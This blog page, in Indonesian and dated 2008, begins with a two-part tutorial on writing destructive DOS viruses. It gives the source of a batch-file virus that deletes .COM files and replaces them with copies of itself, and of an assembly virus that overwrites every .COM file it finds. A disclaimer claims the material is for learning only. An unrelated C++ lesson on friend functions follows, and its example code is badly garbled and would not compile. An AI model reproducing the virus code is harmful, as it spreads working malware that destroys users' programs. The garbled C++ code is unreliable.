Selasa, 28 Oktober 2008

Pemograman Virus Komputer

Program Ini Ditujukan Untuk Ilmu Pengetahuan Bukan Digunakan Untuk

Merusak Atau Merugikan Orang lain (Mengambil Keuntungan Dibalik

Kesusahan Orang lain, Biar Dibilang Sok Pintar Atau Wah???Yang

Melahirkan Kesombongan).Ilmu Pengetahuan Adalah Anugrah Yang

Harus Disampaikan Bukan Untuk Diri Sendiri.No Questions

Regards

Satya

Perhatian.

Program dibawah ini dapat menulari sistem, tetapi dengan cara yang

cepat dapat diketahui.

Berikut ini adalah saran-saran yang harus selalu di perhatikan pada

waktu bereksperimen

dengan virus:

1. Bekerjalah hanya pada file cadangan (backup).

2. Cegahlah jangan sampai virus - virus atau program -program yang

sudah ditulari jangan

ketangan orang lain (tertular).

3. Setelah percobaan, hapuskan semua program - program yang telah

ditulari.

4. Hendaknya hard disk dilindungi terhadap penulisan yang tidak

diharapkan, dengan

menggunakan instruksi DOS, ASSIGN.

Ketiklah instruksi berikut ini dibelakang prompt DOS:

A>assign c=a (disket master DOS pada drive A)

Dengan jalan ini maka semua tindakan yang ditujukan kepada hard disk,

diarahkan ke drive

A. Perlindungan ini tidak benar - benar rapat, tetapi dapat mencegah

sebagian besar virus

- virus yang menyerang hard disk .Untuk mendapatkan kembali

keadaan normal, tuliskan :

"assign c=c" sementaradisket master DOS berada di drive A. Kalau

syarat diatas dipatuhi

pada waktu anda bekerja dengan program virus, maka tak akan ada

bahaya karena penularan

-penularan yang tidak disengaja.

------------------------------------

1. VIRUS KOMPUTER DALAM BATCHFILE

------------------------------------

Sebagai awal dalam mempelajari pemrograman virus komputer ,

berikut ini akan ditampilkan

virus komputer dalam bentuk batchfile.Virus ini memanfaatkan fasilitas

dari DOS, dengan

memanggil instruksi - instruksi file internal dan eksternal. Instruksi -

instruksi file

internal (instruksi yang merupakan "bagian dalam" dari modul sistem

operasi tempat modul

tersebut dipindahkan ke memori-internal/RAM pada saat boot)

digunakan sesuai dengan

hukum-instruksi dalam batchfile.Untuk instruksi - instruksi file

eksternal seperti DEBUG

dan EDLIN, harus disediakan file-file yang diperlukan.Disamping itu

virus ini juga

memanfaatkan pemilihan arah bagi operasi masukan dan keluaran dalam

PC-DOS(I/O

redirection).Virus in hanya menyerang file - file yang berekstensi COM.

Seperti yang telah kita ketahui bersama bahwa sebuah virus mempunyai

5 buah kemampuan,

yaitu :

kemampuan mendapatkan informasi, kemampuan memeriksa program,

kemampuan menggandakan diri

dan menularkan, kemampuan menyembunyikan diri. Dari kelima buah

kemampuan tersebut hanya 2

kemampuan yang dimiliki oleh virus batchfile yang akan saya bahas

disini, yaitu kemampuan

mendapatkan informasi serta kemampuan menggandakan diri dan

menulari file yang lain.

Meskipun demikian, virus ini sudah dapat bekerja karena kedua

kemampuan tersebut merupakan

inti dari sebuah virus komputer, sedangkan kemapuan yang lain

hanyalah tambahan.

Bila ditinjau dari jenisnya, maka virus bacthfile ini adalah virus yang

bersifat

menumpangi program yang ditularinya. Dengan demikian suatu program

yang telah tertular

virus ini menjadi tidak dapat dipakai lagi, karena telah dirusak oleh

virus.

------------------------------------

2. ALGORITMA

------------------------------------

Misalkan virus bacthfile tersebut bernama LAMMER.BAT, maka

LAMMER.BAT harus mengandung

runtun isntruksi yang mampu melakukan kegiatan - kegiatan sbb:

1. Mencari file COM yang pertama dalam directory (kalau ada)

2. Menghapus file tersebut

3. Menyalin (copy) file LAMMER.BAT ke file dengan nama seperti nama

file yang tadi

dihapus, tapi dengan ekstensi BAT

Dengan demikian sesudah penularan, isi dari file yang ditulari adalah

persis sama dengan

file LAMMER.BAT.Sehingga pemanggilan terhadap file yang tertular

mempunyai akibat sama

dengan memanggil file LAMMER.BAT.

------------------------------------

3. BAGAN ALIR

------------------------------------

MULAI

|

|

Buat file yang berisi nama - nama

File yang berekstensi COM.

|

|

Pilih nama file yang pertama

(misalnya bernama KORBAN.COM)

|

|

Buat Batchfile baru yang berisi instruksi:

DEL KORBAN.COM

COPY \LAMMER.BAT KORBAN.BAT

|

|

Panggil / jalankan bacthfile baru tersebut

|

|

AKHIR

------------------------------------

4. Listing Program

------------------------------------

Batchfile dibawah ini merupakan implementasi dari alir bagan diatas.

NAMA FILE: LAMMER.BAT

Echo off -- Keluaran ke layar dihadang, sehingga pekerjaan yang

dilakukan oleh batchfile

tidak tampak oleh pemakai

Ctty nul -- Masukan dan keluaran diubah arahnya ke NUL -device

Dir *.com/w.daftar -- Nama dari semua file dengan ekstensi .Com

dalam directory yang aktif

ditulis dalam file DAFTAR.pilihan "/w" akan membuat tanggal dan

panjangn

file tidak ditampilkan

Edlin daftar<\1 -- EDLIN mendapat masukan dari perintah-perintah

dalam file instruksi

"1" untuk menyunting file DAFTAR

Debug daftar<\2 -- DEBUG memanggil DAFTAR dan melaksanakan

perintah-perintah dari file

2, untuk membuat bacthfile PERINTAH.BAT

Edlin perintah.bat<\3 -- Text editor EDLIN memanggil file

PERINTAH.BAT dan file instruksi

ketiga

Del daftar.* -- File DAFTAR DAN DAFTAR.BAK dihapus

Del perintah.bak -- File PERINTAH.BAK dihapus)

Ctty con -- Masukan dan Keluaran kembali ke keyboard dan

layar, tetapi layar

tetap kosong (echo off)

Perintah -- File PERINTAH.BAT dipanggil.Bila virus sudah

menulari file

ASSIGN.COM, maka PERINTAH.BAT berisi sbb:

DEL ASSIGN.COM

COPY \LAMMER.BAT

3 buah file instruksi dengan nama "1", "2" dan "3" (tanpa ekstensi)

berhubungan dengan

file batchfile :LAMMER.BAT diatas,sbb:

NAMA FILE : 1

1,4d

e

NAMA FILE : 2

M100,10b,f000

E108 ".bat"

M100,10b,f010

E100"DEL"

Mf000,f00b,104

E10c 2e

E110 0d,0a

Mf010,f020,11f

E112 "COPY \LAMMER.BAT"

E12b 0d,0a

Rcx

2c

nperintah.bat

w

q

NAMA FILE 3:

Maaf file instruksi ketiga tidak dapat ditulis di bagian ini karena

mengandung dua kali

Ctrl-Z (hex 1Ah) dan Saya sendiri udah capek nulisnya hehehehe

maklum blom minum jamu

kuatJ

Gunakan kreatifitas anda sebagai programmer

Demikianlah beberapa informasi pengetahuan ttg virus komputer dalam

file batchfile.Semoga

apa yang saya sampaikan disini dapat berguna bagi teman - teman yang

pengen memahami

teknik pemrograman virus dan pembuatannya.

Dan jangan lupa untuk tetap Menantikan Artikel saya selanjutnya.

Pemerograman Virus Komputer Bagian II

1. Pendahuluan

Virus komputer yang akan dibicarakan dibawah ini ditulis dalam bahasa

assembley.Bila

dibandingkan dengan virus bacthfile, yang pernah kita bicarakan maka

virus yang kita bahas

sekarang ini telah memiliki kelima kemampuan seperti apa yang telah

saya sampaikan

terdahulu.

Virus ini mampu mencari semua file COM yang ada pada disket, serta

memeriksanya apakah

telah tertular atau belum.Bila belum, maka virus akan

menularinya.Routine manipulasi yang

dimiliki virus ini hanyalah berupa tampilan pesan :

"File ini telah tertular Virus komputer!" atau "Semua file COM pada

disket ini telah

tertular virus komputer!!!".

Berbeda dengan virus batchfile yang menghasilkan file baru dan

membutuhkan beberapa file

untuk menjalankannya, maka virus yang akan kita bahas ini nantinya

dapat bekerja sendiri

dan tidak menghasilkan file baru, sehingga kemampuan

menyembunyikan diri dari virus ini

lebih baik.

Seperti halnya virus batchfile, virus dibawah ini adalah termasuk jenis

virus yang

menumpangi program yang ditularinya.Dengan demikian virus ini

bersifat merusak.

2. Algoritma

Algoritma yang digunakan adalah sbb:

1. Cari file COM yang pertama

2. Buka dan baca file tersebut, letakkan pada buffer (di RAM)

3. Dengan membandingkan tanda pengenal virus dan rangkaian byte

bagian awal dari program,

periksa apakah file tersebut telah tertular virus atau belum.

4. a) Bila belum, maka tulari file tersebut dengan jalan menyalin

seluruh program virus

ke file tersebut (menumpangi).Kemudian tampilkan pesan :"File ini

telah tertular

Virus Komputer !"

b) Bila sudah, maka carilah file COM berikutnya.Ulangi langkah 2.

5. Jika semua file COM telah tertular, maka tampilkan pesan : "semua

file Com pada disket

ini telah tertular virus komputer!!!"

3. Program dan Mekanisme Penularan

Program dibawah ini merupakan implementasi dari bagian diatas.

Catatan : Program virus ini menggunakan instruksi macro.Definisi

macro yang digunakan

terdapat pada file LAMMER.MAC. klo pengen liat file macronya

kirim email ke

Dr`Ponidi@crackdealer.com)

;------------------------------------------------------

------------------------------

; LAMMER.ASM

;

;CODE BY : #DEFACE-TEAM@IRC.DAL.NET

; #DHEGLENG@IRC.DAL.NET

;

;RETRIEVAL SYSTEM BY: DR`PONIDI@CRACKDEALER.COM

;

;VIRUS INI MENYERANG DAN MERUSAK SEMUA FILE COM.

;BERHATI-HATILAH!

;------------------------------------------------------

------------------------------

IF1

INCLUDE LAMMER.MAC

ENDIF

Code_seg SEGMENT

ASSUME CS:Code_seg

ORG 100h

Mulai : jmp kerjakan

Identitas DB `File ini telah tertular virus komputer !$`

Peringatan DB `semua file COM dalam disket ini telah tertular virus`

DB `Komputer !!!$`

File_COM DB`*.com`,0h

Nama_file DB 13 DUP(?)

Panjang_id equ 45

Panjang_vir equ 445

Atribut equ 20h

Open_code equ 2

Jumlah equ 0ffffh

DTA DB43 DUP(20h)

Kerjakan : Set_DTA DTA

Mov ax,0

Find_first file_COM,Atribut

Masih_adakah:cmp ax,0

Je Laksanakan

Cmp ax,2

Je Keluar

Tulis_string peringatan

Jmp Keluar

Keluar : Ke_dos

Laksanakan : mov si,offset DTA + 30

Pindahkan_string 13,nama_file

Buka_file_DTA DTA,Open_code

Push bx

Baca_file bx,Buffer,jumlah

Push ax

Mov di,offset Buffer + 3

Bandingkan-string Identitas,panjang_id

Cmp bx,0

Je Cari_lainnya

Mov si,100h

Pindahkan_string panjang_vir,Buffer

Pop ax

Pop bx

Push ax

Tutup_file bx

Hapus_file Nama_file

Buat_file Nama_file,Atribut

Buka_file Nama_file,Open_code

Pop ax

Tulis_file bx,buffer,ax

Tutup_file bx

Tulis_string identitas

Ke_dos

Cari_lainnya : pop ax

pop bx

Tutup_file bx

Find_next

Jmp masih_adakah

Buffer Label byte

Code_seg ENDS

END mulai

4. Penjelasan

Awal dari penularan dimulai ketika program virus ini dijalankan pada

disket yang berisi

file-file COM.Virus mula-mula akan menulari file COM yang pertama

(berdasarkan urutan

file-file pada disket).Dengan penularan ini, maka file tersebut menjadi

sumber penularan

baru, dan virus yang asli dapat dihapus.File-file yang telah tertular

ukurannya tidak

berubah.

Bila file yang telah tertular itu dijalankan, maka file itu tidak dapat

menjalankan

fungsinya dan hanya akan menampilkan pesan :"File ini telah tertular

Virus

komputer!".Sebelumnya, file tersebut akan menulari file COM lainnya.

Bila kebetulan file .COM pertama yang diserang didalam directory

utama adalah COMMAND.COM,

maka setiap kali melakukan boot dengan disket itu, tak akan pernah

berhasil dan sebelumnya

virus akan menulari sebuah program COM lain yang belum tertular.

Harapa diperhatikan bahwa virus ini tidak dapat bekerja dengan baik

bila berada pada file

COM yang ukurannya lebih kecil daripada ukuran program virus yang

asli, atau terlalu besar

(mendekati atau lebih dari FFFF heksadesimal = 64KB)

Ini disebabkan karena program virus tidak dapat disalin secara lengkap

atau buffer telah

melampaui batas daerah CS (Code Segment)

Demikianlah Artikel yang dapat saya sampaikan pada kesempatan ini,

Semoga informasi yang

saya sampaikan dapat bermanfaat bagi pengetahuan bagi kita semua

,khususnya bagi yang

concern terhadap virus.Sekian terima kasih cao

FUNGSI FRIEND

FUNGSI FRIEND

Tujuan

- Memahami kegunaan fungsi friend

- Mampu membuat program aplikasi dengan menggunakan fungsi friend

Teori Singkat

Fungsi friend adalah fungsi anggota kelas yang dapat mengakses anggota kelas. Fungsi friend yang dapat mengakses anggota kelas yang bersifat provate atau protected. Memberi nilai awal dari sebuah obyek. Cara penulian friend pada class adalah sebagai berikut :

class A

{ private:

------------

------------

protected:

------------

------------

public:

A();

~A();

Void nama_fungsi();

------------

};

//program utama

void main()

{ A variabel_obyek; }

Definisi konstruktor

A::A(){……….}

Definisi destruktor

A:: ~ A(){……….}

Void nama_fungsi()

{definisi fungsi}

Contoh 1

//friend mengakses kelas

#include

#include

#include

class mahasiswa

{ private :

Long no_mhs;

Char nama[30];

Char jurusan[20];

Public:

Mahasiswa();

Void inisial(long no_mhs,char *nama, char *jurusan);

Friend void tampilkan(mahasiswa x); //fungsi friend

};

//program utama

void main()

{

Mahasiswa x;

Inisial(04025521,”Tri Kusuma”,”Manajemen Informatika”);

Tampilkan();

}

//konstruktor

Mahasiswa::mahasiswa()

{

No_mhs=0;

Strcpy(nama,””);

Strcpy(jurusan,””);

}

//fungsi anggota

Mahasiswa::inisial(long no_mhs,char *nama,char *jurusan)

{

Mahasiswa::no_mhs=no_mhs;

Strcpy(mahasiswa::nama,nama);

Strcpy(mahasiswa::jurusan,jurusan);

}

//definisi friend

Void tampilkan(mahasiswa x)

{

Cout<< “ N I M :”<<

Cout<<” Nama :”<<

Cout<<” Jurusan :”<<

};

Contoh 2

//fungsi friend untuk mengakses kelas

#include

#include

#include

//definisi kelas

class PemainPria;

class PemainWanita

{

private:

//data anggota

Char nama[25];

Char Negara[20];

Public:

//konstruktor

Pemainwanita(char *nama, char *negara);

Friend void info_pem_campuran(PemainWanita a,PemainPria b);

};

Class PemainPria

{

Private:

//data anggota

Char nama[25];

Char Negara[20];

Public:

//konstruktor

PemainPria(char *nama, char *negara);

Friend void info_pem_campuran(PemainWanita a, PemainPria b);

};

//Program utama

Void main()

{

Clrscr();

pemainWanita x(“Monica”,”Yugoslavia”);

PemainPria y(“Suharyadi”,”Indonesia”);

Info_pem_campuran();

}

//definisi konstruktor

PemainWanita::PemainWanita(char *nama, char *negara)

{

Strcpy(PemainWanita::nama.nama);

Strcpy(PemainWanita::Negara,negara);

}

PemainPria::PemainPria(char *nama, char *negara)

{

Strcpy(PemainPria::nama.nama);

Strcpy(PemainPria::Negara.negara);

}

//definisi fungsi friend

Void info_pem_camouran(PemainWanita a, PemainPria b)

{

Cout << “Pasangan Pemain CAmpuran”<

Cout << “ ”<<<”>

Cout << “ ”<<<”>

}

Contoh 3

//fungsi friend untuk mengakses dua kelas

#include

#include

#include

//definisi kelas

class PemainPria;

class PemainWanita

{

Private :

//data anggota

Char nama[25];

Char Negara[20];

Public :

//konstruktor

PemainWanita(char *nama, char *negara);

Coid info_pem_cadangan(const PemainPria &a);

};

Class PemainPria

{

Private :

//data anggota

Char nama[25];

Char Negara[20];

Friend void PemainWanita::Info_Pem_Cadangan(const PemainPria &b);

Public:

//konstruktor

PemainPria(char *nama, char *negara);

};

]

//program utama

Void main()

{

Clrscr()

PemainWanita p(“Monica”,”Yugoslavia”);

PemainPria q(“Suharyadi”,”Indonesia”);

Info_Pem_Cadangan(q);

}

//definisi konstruktor

PemainWanita::PemainWanita(char *nama, char *negara);

{

Strcpy(PemainWanita::nama.nama);

Strcpy(PemainWanita::Negara.negara);

}

PemainPria::PemainPria(char *nama, char *negara)

{

Strcpy(PemainPria::nama.nama);

Strcpy(PemainPria::Negara.negara);

}

//definisi fungsi friend

Void PemainWanita::Info_Pem_Campuran(const PemainPria &a)

{

Cout<<”Pasangan Pemain Campuran”<

Cout<<” “<<<”(“<<<”)”<

Cout<<” “<<<”(“<<<”)”<

}

Tugas Laporan

  1. Buatlah program mirip dengan contoh 1 dengan menggunakan deklarasi kelas.

Class Buku

{

Private :

Char pengarang[20];

Char judul[35];

Int jumlah;

Public:

Buku();

Void inisial(char *pengarang, char *judul, int jumlah);

Friend void tampilkan(buku novel);//fungsi friend

};